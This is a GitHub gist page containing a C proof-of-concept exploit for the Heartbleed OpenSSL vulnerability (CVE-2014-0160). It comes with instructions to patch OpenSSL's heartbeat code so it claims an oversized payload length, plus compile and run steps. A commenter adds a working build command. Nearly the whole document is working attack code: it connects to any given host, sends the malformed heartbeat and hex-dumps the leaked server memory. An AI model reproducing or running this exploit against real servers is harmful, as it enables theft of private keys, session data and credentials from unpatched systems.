Skip to content

Instantly share code, notes, and snippets.

@bojieli
Created April 8, 2014 18:03
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save bojieli/10164334 to your computer and use it in GitHub Desktop.
Save bojieli/10164334 to your computer and use it in GitHub Desktop.
Heartbleed OpenSSL vulnerbility POC (CVE-2014-0160)
/* Heartbleed OpenSSL vulnerbility POC
* CVE-2014-0160
*
* You need to modify OpenSSL client code: ssl/t1_lib.c, function tls1_heartbeat
* Previous line: \/\* Payload length (18 bytes here) \*\/
* Old line: s2n(payload, p);
* New line: s2n(65536 - 100, p); // pretend that we have so many bytes of payload...
*
* To compile:
* gcc -g -o testssl -Iinclude -L. -lssl ssl/*.o testssl.c
*
* To run:
* ./testssl <hostname>
*
* Part of OpenSSL client code is from:
* http://www.ibm.com/developerworks/opensource/library/l-openssl/index.html
*/
#include "openssl/ssl.h"
#include "openssl/bio.h"
#include "openssl/err.h"
#include "stdio.h"
#include "string.h"
extern int tls1_heartbeat(SSL *s);
#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| \
(((unsigned int)(c[1])) )),c+=2)
static void ssl_callback(int write_p, int version, int content_type, const void* vbuf, size_t len, SSL* ssl, void* arg)
{
static unsigned char fingerprint[18];
unsigned char* buf = (unsigned char*) vbuf;
if (content_type == TLS1_RT_HEARTBEAT) {
int hbtype = *buf++;
int payload;
n2s(buf, payload);
if (hbtype == TLS1_HB_REQUEST) {
printf("Sent heartbeat request\n");
memcpy(fingerprint, buf, sizeof(fingerprint));
}
else if (hbtype == TLS1_HB_RESPONSE) {
printf("Received heartbeat response\n");
if (memcmp(fingerprint, buf, sizeof(fingerprint)) == 0) {
printf("Fingerprint matched for first %d bytes\n", sizeof(fingerprint));
} else {
printf("Fingerprint unmatched for first %d bytes\n", sizeof(fingerprint));
}
printf("version=%d total_length=%d payload_length=%d\n\n", version, len, payload);
int i;
for (i=0; i<payload; i++) {
unsigned char c = buf[i];
printf("%x%x ", (c >> 4), (c & 0xF));
if ((i+1) % 16 == 8) { // emulate hexdump -C
printf(" ");
}
if ((i+1) % 16 == 0) { // print chars and linebreak
printf(" |");
int j;
for (j=i-15; j<=i; j++) {
if (isgraph(buf[j]))
printf("%c", buf[j]);
else
printf(".");
}
printf("|\n");
}
}
printf("\n");
exit(0);
}
else {
printf("Received invalid heartbeat\n");
return;
}
}
}
int main(int argc, char **argv)
{
BIO * bio;
SSL * ssl;
SSL_CTX * ctx;
char *hostname;
char *request;
char *ssl_hostname;
char r[1024];
int p;
if (argc <= 1) {
printf("usage: %s <hostname> test heartbleed vulnerbility\n", argv[0]);
printf(" %s <hostname> test test normal HTTPS connection\n", argv[0]);
exit(1);
}
hostname = argv[1];
request = malloc(1024 + strlen(hostname));
sprintf(request, "GET / HTTP/1.1" "\x0D\x0A"
"Host: %s" "\x0D\x0A"
"Connection: close" "\x0D\x0A\x0D\x0A",
hostname);
ssl_hostname = malloc(1024 + strlen(hostname));
sprintf(ssl_hostname, "%s:https", hostname);
/* Set up the library */
ERR_load_BIO_strings();
SSL_load_error_strings();
SSL_library_init();
OpenSSL_add_all_algorithms();
/* Set up the SSL context */
ctx = SSL_CTX_new(TLSv1_client_method());
/* Load the trust store */
if(! SSL_CTX_load_verify_locations(ctx, "/etc/ssl/certs/ca-certificates.crt", NULL))
{
fprintf(stderr, "Error loading trust store\n");
ERR_print_errors_fp(stderr);
SSL_CTX_free(ctx);
return 0;
}
/* Setup the connection */
bio = BIO_new_ssl_connect(ctx);
/* Set the SSL_MODE_AUTO_RETRY flag */
BIO_get_ssl(bio, & ssl);
SSL_set_mode(ssl, SSL_MODE_AUTO_RETRY);
/* Create and setup the connection */
BIO_set_conn_hostname(bio, ssl_hostname);
if(BIO_do_connect(bio) <= 0)
{
fprintf(stderr, "Error attempting to connect\n");
ERR_print_errors_fp(stderr);
BIO_free_all(bio);
SSL_CTX_free(ctx);
return 0;
}
/* Check the certificate */
if(SSL_get_verify_result(ssl) != X509_V_OK)
{
fprintf(stderr, "Certificate verification error: %i\n", SSL_get_verify_result(ssl));
BIO_free_all(bio);
SSL_CTX_free(ctx);
return 0;
}
/* Send the request */
if (argc >= 3 && strcmp(argv[2], "test") == 0) {
BIO_write(bio, request, strlen(request));
/* Read in the response */
for(;;)
{
p = BIO_read(bio, r, 1023);
if(p <= 0) break;
r[p] = 0;
printf("%s", r);
}
}
else {
SSL_set_msg_callback(ssl, ssl_callback);
if (tls1_heartbeat(ssl) <= 0) {
printf("Error sending heartbeat request\n");
return 1;
}
while (1) {
printf("Waiting for heartbeat response...\n");
p = BIO_read(bio, r, 1023);
sleep(1);
}
}
/* Close the connection and free the context */
BIO_free_all(bio);
SSL_CTX_free(ctx);
return 0;
}
@movingname
Copy link

Thanks.

The following compilation command works for me:

gcc -g testssl.c -o testssl -Iinclude -L. ssl/*.o -lssl -ldl -lcrypto -ldl

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment